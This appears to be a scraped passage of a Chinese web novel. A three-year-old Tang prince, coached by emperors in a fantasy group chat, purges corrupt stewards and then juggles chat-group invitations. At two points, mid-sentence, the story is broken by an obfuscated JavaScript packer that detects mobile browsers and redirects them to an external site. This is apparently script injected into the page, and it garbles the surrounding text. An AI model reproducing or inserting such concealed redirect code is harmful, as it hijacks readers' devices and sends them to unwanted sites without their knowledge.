喜欢喜欢!他曾经跟他大师兄靠查账让霍氏三百个高管,包括他大师兄的爹一起吃了公家饭,李小暮国服战绩可查! “崔先生!您看城西这间布坊,去年账上记的是亏损。但它采买吴绫的单价,是不是比西市公认的行价高了至少三成?这里面肯定有问题,我这就去查经手人!” 崔仁师眼中闪过赞赏:“善!郎君心思缜密,一眼便看出关窍!” “房相!您再看这酒楼的账,酒水进货价,是不是完全按御酒贡品的规格记的?还有,每个月是不是都固定有一笔十贯钱的杂支,名目模糊?” 房玄龄点头:“确有此二项,记录含糊,值得深究。” “戴先生!永兴坊的布庄,那个庄头年年都以歉收为由,要求减免租子,但同期别家田庄并无此报!我看这庄头大有问题!” 戴胄抚掌:“甚好!郎君能联系比对,已得稽查之要义!” “先生们叫我昕光奴就好!诸位都是长辈,叫什么郎君!那么生份!” “要不这样,我叫你们祖宗,你们叫我弟也成!咱各论各的!” 众大佬:……,想得美。 …… 李暮与这几位经济领域的顶尖人物几乎是一见如故,讨论得热火朝天。 他本就是开朗活泼的性格,跟公司门口的发财树都能唠一会儿,别说跟人了。偶尔还会插科打诨,说几个冷笑话,引得房玄龄等人发出开怀的笑声。后来越聊越投缘,李暮甚至兴奋地表示,等他功成,一定要陪葬些美酒给几位先生尝尝。 说着,还吟了一段不着四六的诗。 “今日痛饮庆功酒,壮志未酬誓不休……” 没唱完,自己就与群中诸人一起笑了。 他这般社交牛逼症的模样,让李世民心中快意,他顺手就把几个想加入教导队伍的申请人拉进了黑名单。 当然,也有不太和谐的的声音。 魏征看着李暮目前似乎只对商事、算账表现出浓厚兴趣,不禁忧心忡忡:“昕光奴,商事虽可富国,然为君者,当以德行、教化、民生为本,切不可沉溺锱铢之利,忘了根本啊!” 李暮嘴上乖巧应“是”,心里却想着:饭都吃不饱的时候,道德能当米下锅吗?先搞钱,再谈理想! 在几位大佬的远程指导下,李暮进展神速。 武氏和李瑾过去看这些账目如同天书,只觉得头疼,理不出头绪。而这些蛀虫欺负主家不懂经济,手法甚至算不上多么高明。所以不过五六日功夫,主要的账目便被李暮梳理清楚。 李暮看着被标记出的无数问题:利用采买之便刻意抬高进价、虚报损耗、侵吞利润……正是这些蠹虫,将京城那几十间本该盈利的铺子的收益,几乎蚕食殆尽! “怪不得阿娘日日为钱发愁,府中进项年年减少!”李暮心中怒火升腾。 他看着名单上一个个被标记出来的名字,呲了呲一口整齐的小白牙。 “哎呀哎呀,是谁呢?是谁抢了我阿娘的首饰钱、我的糖饼钱、我的救命钱?”他轻声自语,“好难猜啊!” 一群蛀虫,还在我面前装无辜?接着装啊! 看老子不把你们连根拔起,一锅端了! 6. 我看谁敢跟我大声说话! 开元二十二年秋。 历经半月,李暮查账完毕,各项证据妥当。 长安城的秋意,浓得化不开。东市西市人声鼎沸,朱雀大街车马如龙。 院中桂花也正盛,甜暖花香混着湿润泥土气息,弥漫在雕梁画栋之间。 李暮穿着湖蓝色小绫圆领袍、颈间系着根青碧色丝绳,绳端坠着枚拇指大小的白玉鱼,整个人小小一只。① 在他面前,却站着武氏交给他的所有仆役和护卫。 人数不多,男女老少加起来,也不过稀稀拉拉站了半个院子,与这偌大王府的规制相比,显得颇为寒酸。 可李暮站在台阶上,目光缓缓扫过众人,唇角忽然轻轻向上弯了一下,发出一声清脆的笑。 那笑声本该属于无忧无虑的孩童,此刻却像一枚钢针,刺得底下一些心中有鬼的人骤然一紧。 他点了其中十几个看起来最为壮实、眼神也相对清正的护卫,声音清晰地命令:“佩好横刀,随我行动。听我命令,必有重赏!” 然后,李暮便示意郑阿公将一整袋钱分发,随后让人抱起他。 郑阿公习惯性地想去吩咐备车,担忧小主人步行有失体面。李暮却摆了摆小手,脸上瞬间又恢复了那种惯有的、明媚开朗的笑容,仿佛刚才的冷意只是错觉:“郑翁翁,我的体面,不靠车马排场来撑。” 从今天开始,这个府里,谁敢不给他体面? 武氏站在不远处的廊柱旁,忧心忡忡地看着被老仆抱在怀里的儿子,双手紧张地绞着帕子,欲言又止。 李暮回头,朝母亲绽放出一个极其灿烂的笑容,用力摇了摇小手,扬声喊道:“阿娘,我去找阿耶玩啦!一会儿就回来!” 父母双亲皆有好相貌,让他生得粉雕玉琢、俊俏异常。一身软糯奶膘,小脸蛋白里透红,任谁见了都想捏一把。头发乌黑浓密,被精心梳成两个小鬏,系着与衣袍同色的丝带,更显得玉雪可爱。 刀光寒芒微闪,拿着一把匕首充作刀的李暮小犬牙闪亮。 “我走啦。” 他笑嘻嘻,一点不见剑拨弩张的氛围。 武氏:……,我儿应该是去见他阿耶吧! 而此时,郡王李瑾正在自己院中里,与几个寄食的清客和属官们喝得烂醉如泥,鼾声大作。 王府按规定设有属官,但李瑾身边的这些,大多是他搜罗来的酒友和帮闲,正事不足,凑趣有余。 李暮带着人,径直来到前院。 天色尚早,院内却已点了灯, “拔刀。”李暮轻声吩咐。 “锵——” 随行护卫手中的横刀瞬间出鞘半尺,寒光凛冽,肃杀之气顿时弥漫开来。 守门的护卫见到小郎君带着持刀护卫气势汹汹而来,吓了一跳,硬着头皮上前阻拦:“小郎君,郡王正在歇息,您看是否……” 李暮在郑阿公怀里,居高临下地看着他们,脸上依旧挂着笑,那双比其他人稍浅的琥珀眼,在廊下灯笼的光晕里显得格外亮,他声音清脆地问:“你们要阻拦我见阿耶吗?” 他稍稍收敛了笑容,目光扫过护卫们,带着一种与他年龄极不相符的压迫感:“儿子见父亲,天经地义。” 他顿了顿,声音轻飘飘的,却带着寒意,“所以,还不给我退下!” 李暮抬眼,身后众人抬刀。 刀光雪亮。 护卫们面面相觑。 郡王再荒唐,对这根独苗的重视是显而易见的。他们这些下人,不愿去触这个霉头。况且,今日这小郎君分明不是善茬,犹豫片刻,几人终究是低下头,默默地让开了道路。 李暮带人进入院中,毫不客气,直接下令:“撞门!” 两名护卫上前,用力一撞,那本就未闩牢的房门应声而开。 屋内酒气熏天,李瑾瘫在胡床上,醉得不省人事。几个清客也东倒西歪,衣衫不整。几位正在起舞的胡姬见到明晃晃的刀光,吓得惊叫一声,慌忙伏在地上,瑟瑟发抖。 唐时,胡姬大多是从远方渡过来的,身份微贱。 灯火摇曳下,李暮的目光扫过那些惊恐的胡姬,不欲为难她们。他吩咐道:“给这几位姊姊备些热水,让她们洗漱整理,披上厚衣裳再送出去。” 他甚至让郑阿公拿出了几贯钱,②递给她们,“抱歉,惊扰诸位姊姊了,我找阿耶有要事。这些钱帛,聊表歉意,诸位姊姊先请回吧。” 几个胡姬何曾受过主家这般礼遇?皆是愣住,随即眼中流露出感激之色,纷纷躬身行礼,才小心翼翼地离去。 等闲杂人等都退了,李暮才将目光转向自己的混球爹和他的那群狐朋狗友。看着他们烂醉如泥、仪态尽失的模样,只觉得有碍观瞻! 他毫不迟疑地命令:“泼水,弄醒他们。然后扶阿耶去沐浴更衣,让他清醒清醒。” 众人还有些迟疑,毕竟那是郡王。 李暮只是回过头,目光平静地扫过他们:“我说话,不好使儿?” 那眼神并不凶狠,却让众人心底发寒,众人猛地想起他们做了什么,事到如今,他们把李瑾给得罪了,除了站李暮所无他选,所以忙不迭地应道:“不敢!不敢!” 一盆盆冷水泼下,李瑾与那几个清客一个激灵,迷迷糊糊地醒来,还没看清眼前状况,就被几个健仆“请”了起来,搀扶着往外走。 李瑾挣扎着想要发怒,嘴里不干不净地骂着,却在对上廊下儿子那双平静无波的眼睛时,到嘴边的骂声竟又一次噎了回去,化作含混不清的嘟囔,被半强制地带离了这片狼藉。 李暮站在门口,看着父亲被带走,又瞥了一眼屋内剩下那几个面如土色、惊慌失措的清客属官,并未多言,只是淡淡吩咐:“把这里收拾干净。” 然后,便由老仆抱着,转身离开。 走到院外,李暮对带头护卫李忠开口,声音不大,却清晰无比:“李忠,去,把府中所有管事,无论内外,包括各院有头脸的嬷嬷、掌事侍女,全部叫到前院正厅。一炷香之内,不到的,以后就不必在府里待了。” 李忠心中一凛,只觉得一股寒气从脚底升起,连忙躬身应道:“遵命!” 他快步走出房门,只觉得后背已被冷汗浸湿。小郎君这是要……掀桌子了!这才三岁吧,果真是皇氏血脉,不引估量。 李暮又点了两名看起来最为机灵的护卫,低声耳语吩咐了几句。两人目光一凝,领命后迅速消失在廊庑深处。 一炷香的时间将将燃尽。 河东郡王府的前院正厅,已是黑压压站了一片人。 各位管事、嬷嬷们面面相觑,不知道发生了何事。 有人看到坐在上首主位——那本该是郡王李瑾的位置——的那个小小身影时,更是惊疑不定。 三岁的小郎君,坐在特制的高椅上,双脚甚至够不到地面,但那张粉雕玉琢的小脸上,没有任何表情,一双眸子清冷地扫视着下方,眉眼上挑,凉凉的,冷冷的。 李瑾也被请了过来,他已经沐浴更衣,酒醒了大半,但脸色依旧难看,尤其是看到儿子堂而皇之地坐在主位,但是瞧着儿子的神色,他竟莫名地气短,只能重重哼了一声,扭过头去,示意他生气了。但李暮实在懒得理他。 武氏也闻讯赶来,站在李暮身侧,脸色苍白,双手紧张地绞着帕子,但她看着儿子的侧脸,便强行让自己镇定下来,甚至将手搭在李暮肩上,表示自己的立场。 李暮拍了拍武氏的手,见人差不多到齐了,他轻轻咳嗽了一声,清脆的声音在寂静的大厅里异常清晰: “人没齐,不着急。” 他目光缓缓扫过众人,挑眉,面上没太大波澜,甚至动作都很少,只是安静地等待着。 他话音未落,厅外便传来一阵骚动和哀嚎。只见李忠带着护卫,将几个姗姗来迟或干脆托大不来的嬷嬷、管事连拖带拽地弄了过来,不顾他们的哭喊挣扎,毫不客气地一脚踹跪在堂前。 那几人正欲向郡王和王妃哭诉伸冤,李暮只轻轻抬了抬手,便有人上前左右开弓,狠狠甩了几个巴掌,止住了他们的喧哗。 随即,两名护卫抬着几大箱账册走了进来,重重放在厅中。紧随其后的,是武氏的贴身侍女紫鹃,她手中捧着一个托盘,上面放着笔墨纸砚。 李暮这才发话。 “今日叫诸位来,只为一件事:对账。” 底下本就因这接连的雷霆手段而心惊胆战的人群,顿时响起一阵压抑不住的细微骚动。 对账?一个三岁孩童,乳臭未干,懂什么对账? 李暮仿佛没有听到那些窃窃私语,继续用平稳的语调说道:“自我记事起,便常听阿娘为府中用度发愁。我阿耶乃天潢贵胄,圣人亲眷,我母族亦非寒门。何以我河东郡王府,会落到今日这般,需要阿娘典当首饰来维持体面的地步?” 这话如同温水化在武氏心上,她的眼圈瞬间红了,强忍着才没落下泪来。原来昕光奴都知道。 李瑾的脸色也更加难看,如同酱爆猪肝,却哑口无言,无法反驳。 李暮的声音依旧平和:“原因无他,硕鼠为患尔!” 他示意紫鹃翻开一本账册,依旧是那副慢悠悠的模样,仿佛在诉说一件与己无关的闲事。 “城西大半布坊去年账面亏损五十贯。但据我所知,同期同样规模的绸缎庄,盈利皆在百贯以上。其采购账目显示,上等吴绫购入价每匹高出市价三成!!” 李暮的声音不高,他点了首恶。“李贵,是不是呀?” 阴凉的感觉从头灌到脚,人群中一个胖胖的中年男子脸色瞬间惨白,噗通一声跪倒在地:“小郎君明鉴!实在是……实在是市价波动……” 李暮打断他,抬手示意,一名护卫立刻将几张单据呈上。他看也没看,直接扔到李贵面前。 “你妻弟名下,上月多了间西市的铺子。价值可不菲啊。” 他言语间慢条斯理。 李贵浑身抖如筛糠,冷汗瞬间湿透后背衣襟,他下意识抬头求助,但是一抬头就是李瑾恨不得掐死他的眼神,他命休矣! 他再也说不出一句完整的话,只能瘫在地上呜咽。 李暮让人把他要抽剑的阿耶按住,拧眉道,“你早干嘛去了!给我坐下!” “嗯?” 他身子不自觉的前倾,显然很不满李瑾的行为。 李瑾像看到了他老子,乖乖坐下了。 李暮才又接着道,“还有赵三,永兴坊的醉仙楼账面连年持平。酒水进货清单上,标注的是宫廷御酒的价格。是也不是?” 又一个管事面如土色地跪下。 李暮如数家珍,翻着账册,一连点了七八个关键店铺和庄园管事,甚至还有御赐别业的名,将他们中饱私囊的手段、贪污的数额、甚至赃款的去向,都说得一清二楚,证据确凿。 大厅内鸦雀无声,只剩下那些被点名的管事磕头求饶的声音和越来越粗重的喘息声。 所有人都被李暮震摄住了,都不敢说话。 这真的只是一个三岁孩童吗?岂如鬼也! 众人从头凉到尾。 处理完外间的管事,李暮转向那些府内有头脸的嬷嬷们,脸上忽然又漾开了那种明媚无害的笑容。 几位嬷嬷刚松了口气,就听到李暮轻飘飘地问,“偷窃公中财物,私下变卖。乱嚼舌根,挑拨主家。更有甚者,欺我阿娘心善,仗着郡王荒唐,虚报用度……诸位嬷嬷,依你们看,这些,罪当几何啊?” 不少心中有鬼的嬷嬷顿时吓得魂飞魄散,“扑通”、“扑通”跪倒一片,哭爹喊娘之声瞬间响彻大厅。 李瑾和武氏早已听得目瞪口呆。他们虽然知道府中管理混乱,却没想到漏洞如此触目惊心,蛀虫如此胆大包天! 李瑾整个人都懵了,仿佛第一次认识自己的家。 武氏更是又气又愧,气这些奴才欺主太甚,愧自己竟被蒙蔽如此之久,毫无察觉。 李暮看着底下一片狼藉,眼中没有丝毫波澜。他等求饶声稍歇,才缓缓开口, “尔等食王府之禄,却行此鼠窃狗偷之事,败坏我父王名声,致使我阿娘忧心。按唐律,奴仆侵主财物,重者可杖毙!” 他说着划名,“我们依唐律来。拖出去!” “杖毙!”④ 二字一出,满堂皆惊,那几个被点名的管事登时吓得瘫软在地,屎尿齐流,恶臭弥漫开来。 很快,府门外传来了凄厉得不像人声的惨嚎,伴随着沉重而规律的杖击声,一下,又一下,清晰地穿透门窗,传入死寂的正厅,如同催命的鼓点,重重敲在每一个人的心脏上。 厅内众人噤若寒蝉,面无人色,一些胆小的侍女双眼一翻,直接晕厥过去。 李瑾不由自主地朝武氏身边靠了靠,寻求一丝依靠,却被武氏含怒瞪了一眼,只得讪讪地缩了缩脖子,讨好笑笑。 李暮对门外的惨状恍若未闻。他观察众人反应已久,此刻再次点名,这次是用手指随意地点出。那些在他叙述罪状时眼神飘忽、神色有异者,方才在嬷嬷哭诉时跟着叫屈者,均在其列。 “这些人,虽非首恶,但知情不报,或亦有小恶,其心可诛。罚没其半家财,全家贬为最下等奴仆,即刻发往陇右最苦寒的庄子上劳作,非赦不得返!” 处置完这批人,李暮的目光再次扫过那些尚未被点名、但早已吓得魂不附体的管事与嬷嬷,语气稍缓:“他们是首恶当诛,咎由自取。而你们,在府中效力多年,未曾功劳,亦有苦劳。今日,我给你们一个机会,也是最后一个机会。” 他示意了一下,紫鹃立刻将准备好的纸笔分发给剩余的所有管事和掌事嬷嬷。 “所有拿到纸笔之人,将自己所知、所见、所闻,府中任何人有贪墨、怠工、欺主、悖逆行径,无论大小,无论涉及何人,皆可写于此纸上,署名画押。检举属实者,既往不咎,且视情由,府中另有赏赐!但——”他声音陡然转冷,“若有隐瞒,或相互包庇,一经查出,无论情节轻重,皆与犯事者同罪!” 这是赤裸裸的阳谋! 逼迫他们互相揭发,既能挖出更多的蛀虫,也能彻底瓦解这些管事之间可能存在的同盟。更重要的是,这等于让所有人都交了“投名状”,以后再也无法抱团对抗主家。 管事们与嫲嫲面面相觑,脸上血色尽失。 写,就是背叛同伴,自绝后路;< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484880|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不写,小郎君手段如此狠辣决绝,连杖毙都做得出来,下一个死的、流放的,会不会就是自己? 那边的声音渐弱,终于有人颤抖着拿起笔…… 半个时辰后,李暮得了厚厚一叠“罪证”。 他其实一个字都不认识,但没关系。因为他也不会看。 他想起行动前,李世民与他说的话,昕光奴,在根基尚浅时,需用严法,也需怀德。刚柔并济,才能得人心。人心至,才能成事。 祖宗与他说,怀威怀德。 这是一个很难把握的尺度,但好在做为一个强权领导座下的长期二把手,李暮早习惯于把握权衡。 简称,帮老大擦屁股,给老大递台阶,顺便帮老大安抚人心,在面对对手时,与老大对齐颗粒度,免得老大下手太狠,把人全搞死。 所以他看也没看那些决定许多人命运的字条,只是示意了一下,一名护卫立刻奉上燃烧着的火盆。 李暮伸出小手,拿起那叠纸,毫不犹豫地,全部投进了熊熊火焰之中。 火光跳跃,映照着他玉雪可爱却毫无表情的小脸,明明灭灭。 纸张迅速蜷曲、焦黑、化为灰烬。 李暮笑容和煦。 “我信任诺位,人非圣贤,孰能无过?” 紧接着,他不等众人反应过来,立刻叫人抬出几箱铜钱绢帛,根据刚才的观察和之前的了解,迅速调整了剩余管事的位置,将几个相对老实、能力尚可的人提拔到关键岗位上。 同时,他宣布了一系列新的府规:每月账目公开核查,三人会签;所有采购需至少三家比价,记录在案;设立匿名举报箱,凡举报属实者,赏;重新核定各院用度标准,严禁虚报…… 恩威并施,条理清晰,手段狠辣果决,根本不像个孩子,更像是个经验老道的掌权者。 最后,李暮从高高的椅子上跳下来,走到大厅中央,气息平和。 “今日之事,到此为止。往日种种,譬如昨日死。从今往后,河东郡王府,只有一个规矩:忠于王府,各司其职,有功必赏,有过必罚!” 整个大厅,死一般的寂静。 所有人都下意识地低下头,不敢直视他。就连李瑾也把头低下去了。而武氏,则是在最初的惊恐过后,涌起一股巨大的欣慰和依赖。 河东郡王府的天,真的变了。 李暮,用最雷霆的手段,宣告了他对这座府邸的绝对掌控。 从今天开始,这个王府头顶上的天是我! 跟老子干,受上赏! 敢跟老子呲牙,挨板子! 王府之人噤若寒蝉,不敢跟王府的天大小声。 然后王府的天把自己摔进床上,抱着那个他专属的、温润光滑的小玉虎形的枕头,把脸埋进去,随即又忍不住抬起头,发出一阵压抑不住的、带着奶音却畅快淋漓的低笑。 “哈哈哈!今日痛饮庆功酒!壮志未酬……呃,壮志已酬!”他篡改着戏词,小短腿在空中兴奋地蹬了蹬。 “今日痛饮庆功酒!” 哈哈哈!畅快! 自此之后,再无掣肘! 【群聊:壮哉大唐】 【昕光奴】:祖宗大佬们!我烧的衣裙,上的香火收到了吗?昕光奴今日心中快意,以酪浆代酒,邀诸位同饮!多谢诸位前辈今日暗中指点!(猫猫转圈.jpg) 几乎是瞬间,群内就热闹起来。 【太原公子(群主)】:哈哈哈!好个昕光奴!来!朕与你对饮三百杯!来人!奏破阵乐!此情此景,当配此乐!(举杯.jpg) 【三板斧程魔王】:娃儿!干得漂亮!有空俺教你几手斧法,强身健体,看谁不顺眼就劈他丫的! 【门神敬德打铁】:程知节,休要教坏小郎君!不过……小郎君今日魄力,某家佩服!当浮一大白! 【房谋】:昕光奴临机决断,恩威并施,事后安抚,皆有条理,善!大善! …… 李暮被夸得有些飘飘然,小脸兴奋得通红,他想着独乐乐不如众乐乐,干脆地点开了视频通话的按钮,选择了仅语音接入模式,确保他这边打开摄像头,但只接收对方的语音,他这边则调整了一下角度,确保自己能出现在镜头里——虽然刚在床上滚过,头发有些蓬乱,小袍子也皱了,但这份不拘小节反而更显真实与亲近。 “各位祖宗,各位前辈!”李暮端了杯酪浆,“今日若无诸位前辈在光幕另一端为我坐镇,教我识人断事,暮断不敢行此雷霆之举。祖宗教我御下之策,平衡之道,房公,杜公,戴公、崔公,教我查账之术,洞悉奸猾。魏公教我需存仁恕之心,勿伤无辜。程将军、尉迟将军、薛将军予我胆气与豪情……” 他挨个点名感谢AAA帝王速成班的成员,礼数周到,言辞恳切,显得情商极高,将所有人都照顾到了,谁也不落下。 光幕那头,传来李世民更加开怀的笑声,背景似乎真的隐约有恢弘雄壮的《破阵乐》传来:“好!好!不居功,不忘本,知礼数,更知感恩!朕心甚慰!朕心甚慰啊!哈哈哈哈!” 【叮!群主[太原公子]向[昕光奴]发送了一个专属红包,备注:昕光奴专属!】 李暮一愣,随即心中狂喜!来了!老祖宗的奖励! 他赶紧点击领取。 【恭喜您获得:[太原公子]的专属奖励: 特殊状态【英主之眷】(初级):小幅提升身体素质,持续时间:一年。 李暮最缺的就是这个,一个没忍住,对着镜头,呲出那口整齐的小白牙,露出了一个极其明媚、极其灿烂、甚至带着点小嘚瑟的笑容。 他想笑就笑了,“谢谢祖宗!爱你么么哒。亲亲” “那个我去拿小鼓,我们一起,独乐乐不如众乐乐嘛!” 此时。 【群聊:我家昕光奴今天仍很努力!】 【太原公子(群主)】:[视频][视频],哈哈哈,众卿看我家麒麟儿! 【房谋】:昕光奴临机决断,步步为营,恩威并施,事后安抚更是深得人心,善!大善!老夫观之,心甚慰。 【杜断】:房兄所言极是。 【李药师】:方才小郎君于视频中回眸,目光扫过众人,那份沉静与威仪,竟与陛下当年的神采,颇有几分神似! 【太原公子(群主)】:@李药师说的好!今日此言,深得朕心!像朕!不愧是朕的种!就是像朕! 【徐茂公算死你]⑤:知自己根基尚浅,恐激起变数。焚书安众心,陛下目光如炬!此子……胸有沟壑啊!陛下好眼光!当机立断,不愧我圣天子! …… 群里又是一片祝贺与调侃,气氛热烈非凡。李世民显然极为受用,尤其是李药师、徐茂公等人将他与李暮的优秀联系起来,第一次在教孩子方面收到好评,更是让他整个人大悦,仿佛找到了隔代教育的巨大成就感,完全忘了自家那几个糟心儿子带来的烦恼。 他目前已经忘记自己曾经的教育失败经验,一时之间认为自己是一个教育专家。 简称,他有些小得瑟。 他这个人很容易飘! 然后,李暮给了他个小小的震撼。 7. 我去物色物色 李世民从来不掩饰自己的想法,爱就爱,恨就恨,所以现在就跟老友炫耀他的昕光奴。 “朕跟你讲,天佑大唐!朕那个昕光奴……” 本来论教育,大家半斤八两,谁也别笑话谁,但是现在,他李世民不一样了! 哈哈哈!有小崽就适合他教导。瞧瞧!三岁哦! 但就在他与秦皇的宴饮被秦皇单方面结束,他打开手机后,天塌了! 【AAA帝王速成班】 【昕光奴】:祖宗,我不想当皇帝,但不能接受你的好意,所以我给你烧了几把弓箭,咱俩以后还能当最好的朋友吗?[小猫蹭蹭、眼巴巴.jpg] 【系统提示】:你的好友[昕光奴]已退出[AAA帝王速成班]。 李世民突然有点想迎风落泪了。 那头退出这个群的李暮长舒了一口气,然后气又提起来,把小手扭成麻花。 “我真的好喜欢世民祖宗的!不想绝交!” 几乎是同一时刻,叮声不断。 【群聊:壮哉大唐】 【太原公子(群主)】:昕光奴!给朕出来!解释!昨天还好好的,收了朕的赏,今日就退群?!你也忍心!你就忍心!你狠心,朕几欲死!(凤凰震惊落泪.jpg) 李暮缩了缩脖子,能想象到老祖宗此刻养精蓄泪的模样。祖宗是好祖宗,是他不好。 他赶紧切回【壮哉大唐】,发了个可怜兮兮的表情。 【昕光奴】:祖宗,可我不想当皇帝嘛……我弱小,我羸弱,我还是个三岁宝宝呢……您看我这小胳膊小腿…… 光幕那头的李世民被这理直气壮的“弱小”论给噎住了,停顿了三息。 【太原公子】:不可以!非你不可!昕光奴!你给朕回来!(凤凰大哭.jpg) 紧接着,似乎是贞观群臣的集体刷屏。 【房谋】:陛下,臣觉得昕光奴可以退群! 【杜断】:可以! 【人镜魏征】:可以。 【李药师】:可以。 …… 【三板斧程魔王】:大家都说可以,那俺也一样。 …… 李世民的眼泪彻底都喷出来了。 昕光奴不要他了,他的众卿也不要他了! 这一连串的“可以”如同排山倒海,把李暮砸得有点懵。 这是集体唱反调?祖宗还好吗?别又气晕了。 他连忙发信息。 [昕光奴]:祖宗,我不是讨厌你!你别生气啊!别哭!那个大家都是没搞清状况,你别哭呀!我去劝劝先生们啊!别哭别哭。 光屏那一头,李世民抹了一下眼角的水痕,点开长孙无忌头像。 [无忌!你们在搞什么!你不要再潜水了!] 朕生气了! 长孙无忌:……,陛下,二郎,看群! 这时一个专属的、只有李世民和几位核心重臣在的小群消息弹了出来。 【群聊:我家昕光奴今天仍很努力!】 【太原公子】:众卿!众卿!你们怎么回事!朕几欲死也! 【徐茂公算死你】:陛下息怒!小郎君年纪尚小,心性未定,骤然以帝王相称,或许感到压力。依臣看,咱们换个名字,莫要如此直白,或许就好了。 【房谋】:徐公所言在理。陛下,名不正则言不顺,言不顺则事不成。咱们这群名,确实……略显急切了些。况且,外边那些人,比如那个狄仁杰,都加了多少次好友想挖墙脚了! 【杜断】:房兄说得对。武周那头虎视眈眈,绝不能让他们把小郎君带偏了路子!换个温和些的名字,徐徐图之。 【无忌拦不住】①:陛下!杜公这话戳到点子上了!小郎君前儿还念叨不想当皇帝,咱这名头喊得越响,他越想躲!咱先把群名的“弦”松了,总比让武周那边瞅着空子,用“自在”当由头拉人强。不就个群名!陛下换了吧! …… 【太原公子】:善!就依众卿之言! 李暮自退群有点惴惴不安。 他是不是太任性了? 老祖宗对他那么好,他把祖宗气晕了,祖宗不生气,祖宗还秒接他电话,一直很宠爱他,还给他帮助,给红包…… 可他真的还没准备好啊。 他现在要钱没钱,要人没人,就一个空头郡王之子的名号,还是个三岁奶娃,凭什么敢夸下海口去争那九五至尊之位?万一失败了,岂不是辜负了老祖宗的一片厚望? 没有把握的事还是不要给人希望才是。 他这边正纠结着要不要再给老祖宗烧点奇珍异食哄他开心,一连串清脆的系统提示音在他脑海中响起。 [叮!好友[宁为太平犬]邀请您加入群聊[盛世芳华]。] 【宁为太平犬】:昕光奴,要不要来我武周这边玩玩?我这边有断案如神的狄公,有我阿母,还有才情绝代的婉儿,保证比跟那群老古板在一起有趣得多哦! [叮!好友[孤篇封神张若虚]邀请您加入群聊[大唐风流]。] 【孤篇封神张若虚】:小郎君,春江潮水连海平,海上明月共潮生。可愿入群,共赏诗文,同醉风月? [叮!好友[救时宰相姚崇]邀请您加入群聊[开元]。] 【救时宰相姚崇】:昕光奴。开元盛世,气象万千,欢迎你的加入,共同探讨经世济民之道。 …… 一时间,光幕上邀请提示络绎不绝,足足有几十条! 【大唐百工】、【射弈双绝】、【丹青妙手】、【丝路驼铃】……琳琅满目,看得李暮眼花缭乱。 他这才深刻体会到,大唐文化活动的繁荣,真是从阳间延续到了鬼界,各种“兴趣俱乐部”应有尽有。 “加!加!加!”李暮来了精神,社交牛逼症瞬间发作,小手蠢蠢欲动,准备来个全选加入。 就在这时,一个特别的提示音响起——那是他给李世民设置的“特别关心”。 【太原公子】:昕光奴,那个群,你可以退。但是,[贞观一家亲]这个群,你一定要加。朕不想你跟某些人玩得太近,他们会把你教坏的。 【太原公子】:昕光奴,我们俩最好,是不是? 李暮下意识点了点自己的大脑袋。 他跟祖宗当然好! 紧接着,李世民又是一条。 【太原公子】:昕光奴,好了,我们不当皇帝了。朕观你还不识字,长久下去并非良策。朕这边已准备好了人为你开蒙,授你经史子集。当然,你在阳世,亦可再寻一位先生,双管齐下。 看到这条消息,李暮眼睛瞬间亮了,激动得差点在床上打个滚!“嗷!”他欢呼一声,“祖宗终于不逼我当皇帝了!还主动要教我识字!” 他立刻回复,语气充满了雀跃和讨好。 【昕光奴】:谢谢祖宗!祖宗最好!爱你么么哒!(【爱心】【亲亲】【转圈圈】) 【太原公子】:不谢不谢,是朕心急了,不该逼你。你还小,来日方长。 【群聊:我家昕光奴今天仍很努力!】 【太原公子】:众卿!朕搞定啦!昕光奴要回来啦! 【无忌拦不住】:陛下真是圣天子! 众人:圣天子+1 [太原公子]:(凤凰昂首.jpg) …… 【系统提示】:欢迎[昕光奴]加入群聊[贞观一家亲]。 【系统提示】:欢迎[昕光奴]加入群聊[大唐风流]。 【系统提示】:欢迎[昕光奴]加入群聊[射箭一时爽,一直射箭一直爽]。 …… 李暮一口气把感兴趣的好友群邀请都点了同意,心里顿时像卸下了一块大石头,神清气爽。他一个骨碌从床上爬起来,小脸上洋溢着明媚的笑容,决定立刻去解决“开蒙先生”这个现实问题。 他大步走向王府的正堂。经过前几日的雷霆整顿,王府气氛已然不同往日,仆役们见到他无不恭敬行礼,眼神中全是对真正掌权者的敬畏。 此时,郡王李瑾和王妃武氏正在堂中。 武氏气色红润,正悠闲地品着茶,而李瑾则有些坐立不安,眼神时不时瞟向堂外,似乎在琢磨着怎么跟儿子开口要点钱花。 经过清算,府中共追回被贪墨的银钱绢帛折合近万贯,这可是一笔巨款。 李瑾那颗习惯了挥霍的心又开始痒痒了,实在不行,昕光奴能给他涨些月钱也是好的。 然而,当李暮那小小的身影出现在门口时,李瑾刚到嘴边的话又咽了回去,下意识地缩了缩脖子,默默给自己倒了杯茶,试图降低存在感。 李暮走进来,见到李瑾在,望着外面的天色,很是奇怪,他阿耶什么时候这么早起了,但还是很自然地坐在了上首的主位——这几日下来,这似乎已成惯例。 武氏见状,脸上的笑容更加灿烂,而李瑾则把头埋得更低。 这个家里的座次变得有些古怪,三岁的儿子高坐上首,父母反而居于下首,但武氏毫不在意,甚至乐见其成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484881|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丈夫掌权时她受尽委屈,儿子掌权她才真正扬眉吐气,连带着困扰她许久的郁疾都好了大半。 李暮没提钱的事,也没提他阿耶过来的事,思索片刻,直接切入正题:“阿耶!阿娘!儿要开蒙读书了,府中可有相熟、有学问的长者,能为儿师长?” 